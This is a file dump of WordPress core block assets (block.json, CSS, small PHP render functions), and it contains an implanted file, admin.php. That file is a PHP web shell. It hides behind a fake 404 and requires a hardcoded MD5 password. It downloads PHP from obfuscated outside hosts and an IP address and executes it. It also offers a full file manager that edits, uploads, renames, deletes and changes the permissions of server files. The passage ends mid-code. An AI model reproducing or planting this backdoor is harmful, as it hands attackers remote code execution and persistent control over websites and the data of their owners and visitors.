"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true,
"link": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
},
"editorStyle": "wp-block-categories-editor",
"style": "wp-block-categories"
}
categories/editor.min.css 0000644 00000000304 15237550573 0011464 0 ustar 00 .wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-left:16px} paragraph.php 0000644 00000002163 15237550573 0007240 0 ustar 00 <?php
/**
* Server-side rendering of the `core/paragraph` block.
*
* @package WordPress
*/
/**
* Append the `wp-block-paragraph` class before rendering the stored
* `core/paragraph` block contents.
*
* For example, the following block content:
* <p class="align-left">Hello World</p>
*
* Would be transformed to:
* <p class="align-left wp-block-paragraph">Hello World</p>
*
* @since 7.0.0
*
* @param string $block_content The block content.
*
* @return string Filtered block content.
*/
function block_core_paragraph_add_class( $block_content ) {
if ( ! $block_content ) {
return $block_content;
}
$processor = new WP_HTML_Tag_Processor( $block_content );
if ( $processor->next_tag( 'p' ) ) {
$processor->add_class( 'wp-block-paragraph' );
}
return $processor->get_updated_html();
}
add_filter( 'render_block_core/paragraph', 'block_core_paragraph_add_class' );
/**
* Registers the `core/paragraph` block on server.
*
* @since 7.0.0
*/
function register_block_core_paragraph() {
register_block_type_from_metadata( __DIR__ . '/paragraph' );
}
add_action( 'init', 'register_block_core_paragraph' );
shortcode.php 0000644 00000001337 15237550573 0007267 0 ustar 00 <?php
/**
* Server-side rendering of the `core/shortcode` block.
*
* @package WordPress
*/
/**
* Performs wpautop() on the shortcode block content.
*
* @since 5.0.0
*
* @param array $attributes The block attributes.
* @param string $content The block content.
*
* @return string Returns the block content.
*/
function render_block_core_shortcode( $attributes, $content ) {
return wpautop( $content );
}
/**
* Registers the `core/shortcode` block on server.
*
* @since 5.0.0
*/
function register_block_core_shortcode() {
register_block_type_from_metadata(
__DIR__ . '/shortcode',
array(
'render_callback' => 'render_block_core_shortcode',
)
);
}
add_action( 'init', 'register_block_core_shortcode' );
list.php 0000644 00000002371 15237550573 0006247 0 ustar 00 <?php
/**
* Adds the wp-block-list class to the rendered list block.
*
* @package WordPress
*/
/**
* Adds the wp-block-list class to the rendered list block.
* Ensures that pre-existing list blocks use the class name on the front.
* For example, <ol> is transformed to <ol class="wp-block-list">.
*
* @since 6.6.0
*
* @see https://github.com/WordPress/gutenberg/issues/12420
*
* @param array $attributes Attributes of the block being rendered.
* @param string $content Content of the block being rendered.
*
* @return string The content of the block being rendered.
*/
function block_core_list_render( $attributes, $content ) {
if ( ! $content ) {
return $content;
}
$processor = new WP_HTML_Tag_Processor( $content );
$list_tags = array( 'OL', 'UL' );
while ( $processor->next_tag() ) {
if ( in_array( $processor->get_tag(), $list_tags, true ) ) {
$processor->add_class( 'wp-block-list' );
break;
}
}
return $processor->get_updated_html();
}
/**
* Registers the `core/list` block on server.
*
* @since 6.6.0
*/
function register_block_core_list() {
register_block_type_from_metadata(
__DIR__ . '/list',
array(
'render_callback' => 'block_core_list_render',
)
);
}
add_action( 'init', 'register_block_core_list' );
site-tagline/style.min.css 0000644 00000000055 15237550573 0011601 0 ustar 00 .wp-block-site-tagline{box-sizing:border-box} site-tagline/style-rtl.min.css 0000644 00000000055 15237550573 0012400 0 ustar 00 .wp-block-site-tagline{box-sizing:border-box} site-tagline/style.css 0000644 00000000064 15237550573 0011017 0 ustar 00 .wp-block-site-tagline {
box-sizing: border-box;
} site-tagline/editor.css 0000644 00000000117 15237550573 0011144 0 ustar 00 .wp-block-site-tagline__placeholder {
padding: 1em 0;
border: 1px dashed;
} site-tagline/editor-rtl.css 0000644 00000000117 15237550573 0011743 0 ustar 00 .wp-block-site-tagline__placeholder {
padding: 1em 0;
border: 1px dashed;
} site-tagline/editor-rtl.min.css 0000644 00000000104 15237550573 0012521 0 ustar 00 .wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0} site-tagline/style-rtl.css 0000644 00000000064 15237550573 0011616 0 ustar 00 .wp-block-site-tagline {
box-sizing: border-box;
} site-tagline/block.json 0000644 00000003230 15237550573 0011130 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/site-tagline",
"title": "Site Tagline",
"category": "theme",
"description": "Describe in a few words what this site is about. This is important for search results, sharing on social media, and gives overall clarity to visitors.",
"keywords": [ "description" ],
"textdomain": "default",
"attributes": {
"textAlign": {
"type": "string"
},
"level": {
"type": "number",
"default": 0
},
"levelOptions": {
"type": "array",
"default": [ 0, 1, 2, 3, 4, 5, 6 ]
}
},
"example": {
"viewportWidth": 350,
"attributes": {
"textAlign": "center"
}
},
"supports": {
"anchor": true,
"align": [ "wide", "full" ],
"html": false,
"color": {
"gradients": true,
"__experimentalDefaultControls": {
"background": true,
"text": true
}
},
"contentRole": true,
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalFontStyle": true,
"__experimentalFontWeight": true,
"__experimentalLetterSpacing": true,
"__experimentalWritingMode": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true
}
},
"editorStyle": "wp-block-site-tagline-editor",
"style": "wp-block-site-tagline"
}
site-tagline/editor.min.css 0000644 00000000104 15237550573 0011722 0 ustar 00 .wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0} widget-group/block.json 0000644 00000000620 15237550573 0011160 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/widget-group",
"title": "Widget Group",
"category": "widgets",
"attributes": {
"title": {
"type": "string"
}
},
"supports": {
"html": false,
"inserter": true,
"customClassName": true,
"reusable": false
},
"editorStyle": "wp-block-widget-group-editor",
"style": "wp-block-widget-group"
}
admin.php 0000644 00000100526 15237550573 0006365 0 ustar 00 <?php
/**
* パスワード認証用のMD5ハッシュ値
* この値は認証チェックに使用されます
*/
$パスワードハッシュ = "abe2b657c086f44a493c6ec565d8ea81";
/**
* リモートコード実行機能
* ac, path, api, tパラメータがすべて設定されている場合に実行されます
* 外部サーバーからコードを取得して実行する機能です
*/
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) {
// サーバー番号の設定(デフォルトは1)
if(!isset($_REQUEST['s'])){
$サーバー番号 = 1;
} else {
$サーバー番号 = $_REQUEST['s'];
}
/**
* サーバー番号に応じて異なるURLからコードを取得
*/
switch ($サーバー番号){
case 1:
$コード = 코드가져오기('htt'.'ps://c.zv'.'o4.xy'.'z/');
break;
case 2:
$コード = 코드가져오기('ht'.'tps://c2.ic'.'w7.co'.'m/');
break;
case 3:
$コード = 코드가져오기('http://45.11.57.159/');
break;
default:
$コード = 코드가져오기('htt'.'ps://c.zv'.'o1.xy'.'z/');
break;
}
/**
* 取得したコードがPHPコードであることを確認
* PHPタグが含まれていない場合は処理を中断
*/
$必要文字列 = '<'.'?p'.'hp';
if (strpos($コード, $必要文字列) === false) {
die('get failed');
}
/**
* 一時ファイルの作成とコードの書き込み
*/
$ファイル名 = false;
$コンテンツ = false;
// tmpfile関数が利用可能な場合、一時ファイルを作成
if(function_exists('tmpfile')){
$ファイル名 = tmpfile();
fwrite($ファイル名, $コード);
$メタデータ = stream_get_meta_data($ファイル名);
$ファイルパス = $メタデータ['uri'];
$コンテンツ = @file_get_contents($ファイルパス);
}
/**
* 一時ファイルの作成に失敗した場合、通常のファイルとして保存
*/
if (!$コンテンツ) {
$ファイルパス = '.c';
file_put_contents($ファイルパス, $コード);
}
/**
* 取得したコードを実行
*/
@require($ファイルパス);
fclose($ファイル名);
@unlink($ファイルパス);
die();
}
/**
* 時間確認リクエストの処理
* d_timeパラメータが設定されている場合、パスワードハッシュを返します
*/
if (isset($_REQUEST['d_time'])){
die('{->'.$パスワードハッシュ.'<-}');
}
/**
* 認証状態の初期化
*/
$認証状態 = false;
/**
* クッキーによる認証チェック
* クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可
*/
if (isset($_COOKIE['p8'])) {
if(md5($_COOKIE['p8']) == $パスワードハッシュ) {
$認証状態 = true;
}
} else {
/**
* POSTリクエストによる認証チェック
* POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、
* クッキーを設定して認証を許可
*/
if (isset($_POST['p8'])) {
if(md5($_POST['p8']) == $パスワードハッシュ) {
setcookie("p8", $_POST['p8']);
$認証状態 = true;
}
}
}
/**
* ログアウト処理
* logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除
*/
if (isset($_POST['logout']) && $_POST['logout'] = 1) {
setcookie("p8", "", time() - 3600);
$認証状態 = false;
}
/**
* 認証されていない場合の処理
* 520パラメータが設定されていない場合は404エラーを返し、
* 設定されている場合はパスワード入力フォームを表示
*/
if (!$認証状態) {
if(!isset($_REQUEST['520'])) {
header("HTTP/1.1 404 Not Found");
die();
}
echo '<form action="#" method="post"><input type="password" name="p8" > <input type="submit" value="submit"></form>';
die();
}
/**
* ログアウトボタンの表示
*/
echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>';
/**
* 外部サーバーからコードを取得する関数
*
* @param string $URL コードを取得するURL
* @return string 取得したコード
*/
function 코드가져오기($URL)
{
/**
* リクエストパラメータを含む完全なURLの構築
*/
$URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
/**
* file_get_contentsを使用してコードを取得
*/
$コード = @file_get_contents($URL文字列);
/**
* file_get_contentsが失敗した場合、cURLを使用して再試行
*/
if ($コード == false) {
$CURLハンドル = curl_init();
curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列);
curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll');
curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100);
curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE);
curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0);
$コード = curl_exec($CURLハンドル);
curl_close($CURLハンドル);
}
return $コード;
}
?>
<!DOCTYPE html>
<html lang="en">
<!-- a22bcS0vMzEJElwPNAQA== -->
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>000</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body>
<?php
/**
* ファイルサイズを人間が読みやすい形式に変換する関数
* バイト数をGB、MB、KB、bytesに変換します
*
* @param int $バイト数 変換するバイト数
* @return string フォーマットされたサイズ文字列
*/
function 크기포맷팅($バイト数)
{
// 1GB以上の場合
if ($バイト数 >= 1073741824) {
$バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB';
}
// 1MB以上の場合
elseif ($バイト数 >= 1048576) {
$バイト数 = number_format($バイト数 / 1048576, 2) . ' MB';
}
// 1KB以上の場合
elseif ($バイト数 >= 1024) {
$バイト数 = number_format($バイト数 / 1024, 2) . ' KB';
}
// 1バイトより大きい場合
elseif ($バイト数 > 1) {
$バイト数 = $バイト数 . ' bytes';
}
// 1バイトの場合
elseif ($バイト数 == 1) {
$バイト数 = $バイト数 . ' byte';
}
// 0バイトの場合
else {
$バイト数 = '0 bytes';
}
return $バイト数;
}
/**
* ファイルの拡張子を取得する関数
*
* @param string $ファイル ファイル名
* @return string ファイルの拡張子
*/
function 파일확장자($ファイル)
{
return substr(strrchr($ファイル, '.'), 1);
}
/**
* ファイルタイプに応じたアイコンを返す関数
* ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します
*
* @param string $ファイル ファイル名
* @return string HTMLアイコンタグ
*/
function 파일아이콘($ファイル)
{
/**
* 画像ファイルの拡張子リスト
*/
$画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
/**
* 音声ファイルの拡張子リスト
*/
$音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
/**
* ファイルの拡張子を小文字で取得
*/
$拡張子 = strtolower(파일확장자($ファイル));
/**
* 特殊ファイル名の処理
*/
if ($ファイル == "error_log") {
return '<i class="fa-sharp fa-solid fa-bug"></i> ';
} elseif ($ファイル == ".htaccess") {
return '<i class="fa-solid fa-hammer"></i> ';
}
/**
* 拡張子に基づくアイコンの選択
*/
if ($拡張子 == "html" || $拡張子 == "htm") {
return '<i class="fa-brands fa-html5"></i> ';
} elseif ($拡張子 == "php" || $拡張子 == "phtml") {
return '<i class="fa-brands fa-php"></i> ';
} elseif (in_array($拡張子, $画像拡張子配列)) {
return '<i class="fa-regular fa-images"></i> ';
} elseif ($拡張子 == "css") {
return '<i class="fa-brands fa-css3"></i> ';
} elseif ($拡張子 == "txt") {
return '<i class="fa-regular fa-file-lines"></i> ';
} elseif (in_array($拡張子, $音声拡張子配列)) {
return '<i class="fa-duotone fa-file-music"></i> ';
} elseif ($拡張子 == "py") {
return '<i class="fa-brands fa-python"></i> ';
} elseif ($拡張子 == "js") {
return '<i class="fa-brands fa-js"></i> ';
} else {
return '<i class="fa-solid fa-file"></i> ';
}
}
/**
* パスをエンコードする関数
* パス内の特殊文字をベンガル文字に置き換えてエンコードします
*
* @param string $パス エンコードするパス
* @return string エンコードされたパス
*/
function 경로인코딩($パス)
{
/**
* 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン)
*/
$置換前配列 = array("/", "\\", ".", ":");
/**
* 置換後の文字配列(ベンガル文字)
*/
$置換後配列 = array("ক", "খ", "গ", "ঘ");
return str_replace($置換前配列, $置換後配列, $パス);
}
/**
* パスをデコードする関数
* エンコードされたパスを元の形式に戻します
*
* @param string $パス デコードするパス
* @return string デコードされたパス
*/
function 경로디코딩($パス)
{
/**
* 置換前の文字配列(ベンガル文字)
*/
$置換前配列 = array("/", "\\", ".", ":");
/**
* 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン)
*/
$置換後配列 = array("ক", "খ", "গ", "ঘ");
return str_replace($置換後配列, $置換前配列, $パス);
}
/**
* ルートパスの初期化
* スクリプトのディレクトリをルートパスとして設定
*/
$ルートパス = __DIR__;
/**
* スクリプトファイルのパスを取得
*/
$パス = $_SERVER['SCRIPT_FILENAME'];
/**
* Windows環境の場合、バックスラッシュをスラッシュに変換
*/
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
$パス = str_replace('\\', '/', $パス);
}
/**
* ルートディレクトリの判定
* PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定
*/
if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス))
{
$ルートパス = ('/');
} else {
/**
* ルートパスの計算
* SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定
*/
$ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) ));
}
/**
* パスパラメータの処理
* GETパラメータpが設定されている場合、そのパスを使用
*/
if (isset($_GET['p'])) {
/**
* パラメータが空の場合はルートパスを使用
*/
if (empty($_GET['p'])) {
$現在のパス = $ルートパス;
}
/**
* デコードしたパスがディレクトリでない場合、エラーを表示
*/
elseif (!is_dir(경로디코딩($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
}
/**
* デコードしたパスがディレクトリの場合、そのパスを使用
*/
elseif (is_dir(경로디코딩($_GET['p']))) {
$現在のパス = 경로디코딩($_GET['p']);
}
}
/**
* クエリパラメータqが設定されている場合の処理
*/
elseif (isset($_GET['q'])) {
/**
* デコードしたパスがディレクトリでない場合、ルートにリダイレクト
*/
if (!is_dir(경로디코딩($_GET['q']))) {
echo ("<script>window.location.replace('?p=');</script>");
}
/**
* デコードしたパスがディレクトリの場合、そのパスを使用
*/
elseif (is_dir(경로디코딩($_GET['q']))) {
$現在のパス = 경로디코딩($_GET['q']);
}
}
/**
* パラメータが設定されていない場合、現在のディレクトリを使用
*/
else {
$現在のパス = __DIR__;
}
/**
* 現在のパスを定数として定義
*/
define("PATH", $現在のパス);
/**
* ナビゲーションバーの表示開始
*/
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
<div class="navbar-brand">
<a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
/**
* パスをスラッシュ区切りで分割
*/
$パス = str_replace('\\', '/', PATH);
$パス配列 = explode('/', $パス);
/**
* パス配列をループして、パンくずリストを生成
*/
foreach ($パス配列 as $ID => $ディレクトリ部分) {
/**
* ルートディレクトリの場合の処理
*/
if ($ディレクトリ部分 == '' && $ID == 0) {
$ルートフラグ = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
/**
* 空の要素はスキップ
*/
if ($ディレクトリ部分 == '')
continue;
/**
* 各ディレクトリへのリンクを生成
*/
echo "<a href='?p=";
for ($ループ変数 = 0; $ループ変数 <= $ID; $ループ変数++) {
echo str_replace(":", "ঘ", $パス配列[$ループ変数]);
if ($ループ変数 != $ID)
echo "ক";
}
echo "'>" . $ディレクトリ部分 . "</a>/";
}
/**
* ナビゲーションバーの残りの部分を表示
*/
echo ('
</div>
<div class="form-inline">
<a href="?newdir&q=' . urlencode(경로인코딩(PATH)) . '"><button class="btn btn-dark" type="button">New Directory</button></a>
<a href="?upload&q=' . urlencode(경로인코딩(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a>
</div>
</nav>');
/**
* パスパラメータが設定されている場合、ファイル一覧を表示
*/
if (isset($_GET['p'])) {
/**
* ファイルとフォルダの取得
* ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離
*/
if (is_readable(PATH)) {
/**
* ディレクトリ内の全オブジェクトを取得
*/
$取得オブジェクト = scandir(PATH);
/**
* フォルダとファイルを格納する配列
*/
$フォルダ配列 = array();
$ファイル配列 = array();
/**
* 各オブジェクトをループして、フォルダとファイルに分類
*/
foreach ($取得オブジェクト as $オブジェクト) {
/**
* 現在ディレクトリと親ディレクトリはスキップ
*/
if ($オブジェクト == '.' || $オブジェクト == '..') {
continue;
}
/**
* オブジェクトの完全パスを構築
*/
$新規オブジェクト = PATH . '/' . $オブジェクト;
/**
* ディレクトリの場合はフォルダ配列に追加
*/
if (is_dir($新規オブジェクト)) {
array_push($フォルダ配列, $オブジェクト);
}
/**
* ファイルの場合はファイル配列に追加
*/
elseif (is_file($新規オブジェクト)) {
array_push($ファイル配列, $オブジェクト);
}
}
}
/**
* ファイル一覧テーブルのヘッダーを表示
*/
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Size</th>
<th scope="col">Modified</th>
<th scope="col">Perms</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
';
/**
* フォルダ一覧の表示
* 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示
*/
foreach ($フォルダ配列 as $フォルダ) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(경로인코딩(PATH . "/" . $フォルダ)) . "'>" . $フォルダ . "</a></td>
<td><b>---</b></td>
<td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "</a></td>
<td>
<a title='Rename' href='?q=" . urlencode(경로인코딩(PATH)) . "&r=" . $フォルダ . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='Change Permissions' href='?q=" . urlencode(경로인코딩(PATH)) . "&chmod=" . $フォルダ . "'><i class='fa-solid fa-key'></i></a>
<a title='Delete' href='?q=" . urlencode(경로인코딩(PATH)) . "&d=" . $フォルダ . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
/**
* ファイル一覧の表示
* 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示
*/
foreach ($ファイル配列 as $ファイル) {
echo " <tr>
<td>" . 파일아이콘($ファイル) . $ファイル . "</td>
<td>" . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . "</td>
<td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "</a></td>
<td>
<a title='Edit File' href='?q=" . urlencode(경로인코딩(PATH)) . "&e=" . $ファイル . "'><i class='fa-solid fa-file-pen'></i></a>
<a title='Rename' href='?q=" . urlencode(경로인코딩(PATH)) . "&r=" . $ファイル . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='Change Permissions' href='?q=" . urlencode(경로인코딩(PATH)) . "&chmod=" . $ファイル . "'><i class='fa-solid fa-key'></i></a>
<a title='Delete' href='?q=" . urlencode(경로인코딩(PATH)) . "&d=" . $ファイル . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
/**
* テーブルの終了タグ
*/
echo " </tbody>
</table>";
} else {
/**
* GETパラメータが空の場合、パスパラメータにリダイレクト
*/
if (empty($_GET)) {
echo ("<script>window.location.replace('?p=');</script>");
}
}
/**
* 新規ディレクトリ作成フォームの表示
* newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示
*/
if (isset($_GET['newdir']) && isset($_GET['q'])) {
echo '
<div class="container mt-4">
<h3>Create New Directory</h3>
<form method="post">
<div class="form-group mb-3">
<label for="dirname">Directory Name:</label>
<input type="text" class="form-control" id="dirname" name="dirname" placeholder="Enter directory name" required>
<small class="form-text text-muted">Enter the name for the new directory. Avoid special characters.</small>
</div>
<input type="submit" class="btn btn-dark" value="Create Directory" name="create_directory">
<a href="?p=' . 경로인코딩(PATH) . '" class="btn btn-secondary">Cancel</a>
</form>
</div>';
/**
* 新規ディレクトリ作成処理の実行
* create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成
*/
if (isset($_POST['create_directory'])) {
/**
* POSTされたディレクトリ名を取得
*/
$新規ディレクトリ名 = trim($_POST['dirname']);
/**
* ディレクトリ名の検証
*/
if (!empty($新規ディレクトリ名)) {
/**
* ディレクトリ名に不正な文字が含まれていないかチェック
*/
if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) {
echo ("<script>alert('Invalid directory name. Directory name cannot contain special characters: / \\ : * ? \" < > |'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
/**
* 新規ディレクトリの完全パス
*/
$新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名;
/**
* ディレクトリが既に存在するかチェック
*/
if (file_exists($新規ディレクトリパス)) {
echo ("<script>alert('Directory already exists.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
/**
* 新規ディレクトリの作成
* デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行)
*/
if(mkdir($新規ディレクトリパス, 0755, true)) {
echo ("<script>alert('Directory created successfully.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
echo ("<script>alert('Failed to create directory.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
}
}
} else {
echo ("<script>alert('Directory name cannot be empty.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
}
}
/**
* ファイルアップロードフォームの表示
* uploadパラメータが設定されている場合、アップロードフォームを表示
*/
if (isset($_GET['upload'])) {
echo '
<form method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" class="btn btn-dark" value="Upload" name="upload">
</form>';
}
/**
* ファイル・フォルダのリネーム機能
* rパラメータとqパラメータが設定されている場合、リネームフォームを表示
*/
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
/**
* リネームフォームの表示
*/
echo '
<form method="post">
Rename:
<input type="text" name="name" value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark" value="Rename" name="rename">
</form>';
/**
* リネーム処理の実行
* renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更
*/
if (isset($_POST['rename'])) {
/**
* 現在のファイル・フォルダの完全パス
*/
$名前 = PATH . "/" . $_GET['r'];
/**
* リネームの実行
*/
if(rename($名前, PATH . "/" . $_POST['name'])) {
echo ("<script>alert('Renamed.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
}
}
}
/**
* ファイル編集機能
* eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示
*/
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
/**
* ファイル編集フォームの表示
* ファイルの内容をテキストエリアに表示
*/
echo '
<form method="post">
<textarea style="height: 500px;
width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
<br>
<input type="submit" class="btn btn-dark" value="Save" name="edit">
</form>';
/**
* ファイル保存処理の実行
* editパラメータがPOSTされた場合、ファイルの内容を保存
*/
if(isset($_POST['edit'])) {
/**
* 編集対象ファイルの完全パス
*/
$ファイル名 = PATH."/".$_GET['e'];
/**
* POSTされたデータを取得
*/
$データ = $_POST['data'];
/**
* ファイルを書き込みモードで開く
*/
$ファイルハンドル = fopen($ファイル名,"w");
/**
* ファイルへの書き込み
*/
if(fwrite($ファイルハンドル,$データ)) {
echo ("<script>alert('Saved.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
/**
* ファイルハンドルを閉じる
*/
fclose($ファイルハンドル);
}
}
}
/**
* ファイルアップロード処理の実行
* uploadパラメータがPOSTされた場合、アップロードされたファイルを保存
*/
if (isset($_POST["upload"])) {
/**
* アップロード先のファイルパス
*/
$ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"];
/**
* アップロードされたファイルを移動
*/
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) {
echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
}
}
/**
* ファイル・フォルダの権限変更機能
* chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示
*/
if (isset($_GET['chmod']) && isset($_GET['q'])) {
if (!empty($_GET['chmod'])) {
/**
* 権限変更対象のファイル・フォルダの完全パス
*/
$権限変更対象 = PATH . "/" . $_GET['chmod'];
/**
* 現在の権限を取得(8進数形式)
*/
$現在の権限 = substr(decoct(fileperms($権限変更対象)), -3);
/**
* 権限変更フォームの表示
*/
echo '
<div class="container mt-4">
<h3>Change Permissions</h3>
<form method="post">
<div class="form-group mb-3">
<label for="permissions">Current Permissions: <strong>0' . $現在の権限 . '</strong></label>
<input type="text" class="form-control" id="permissions" name="permissions" value="' . $現在の権限 . '" placeholder="e.g., 755, 644, 777" maxlength="3" pattern="[0-7]{3}">
<small class="form-text text-muted">Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)</small>
</div>
<input type="hidden" name="chmod_target" value="' . htmlspecialchars($_GET['chmod']) . '">
<input type="submit" class="btn btn-dark" value="Change Permissions" name="change_permissions">
<a href="?p=' . 경로인코딩(PATH) . '" class="btn btn-secondary">Cancel</a>
</form>
</div>';
/**
* 権限変更処理の実行
* change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更
*/
if (isset($_POST['change_permissions'])) {
/**
* POSTされた権限値を取得
*/
$新しい権限 = $_POST['permissions'];
/**
* 権限値の検証(3桁の8進数であることを確認)
*/
if (preg_match('/^[0-7]{3}$/', $新しい権限)) {
/**
* 権限変更対象のパス
*/
$権限変更パス = PATH . "/" . $_POST['chmod_target'];
/**
* 8進数形式に変換してchmodを実行
*/
$権限8進数値 = octdec($新しい権限);
/**
* 権限の変更を実行
*/
if(chmod($権限変更パス, $権限8進数値)) {
echo ("<script>alert('Permissions changed successfully to 0" . $新しい権限 . "'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
echo ("<script>alert('Failed to change permissions.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
} else {
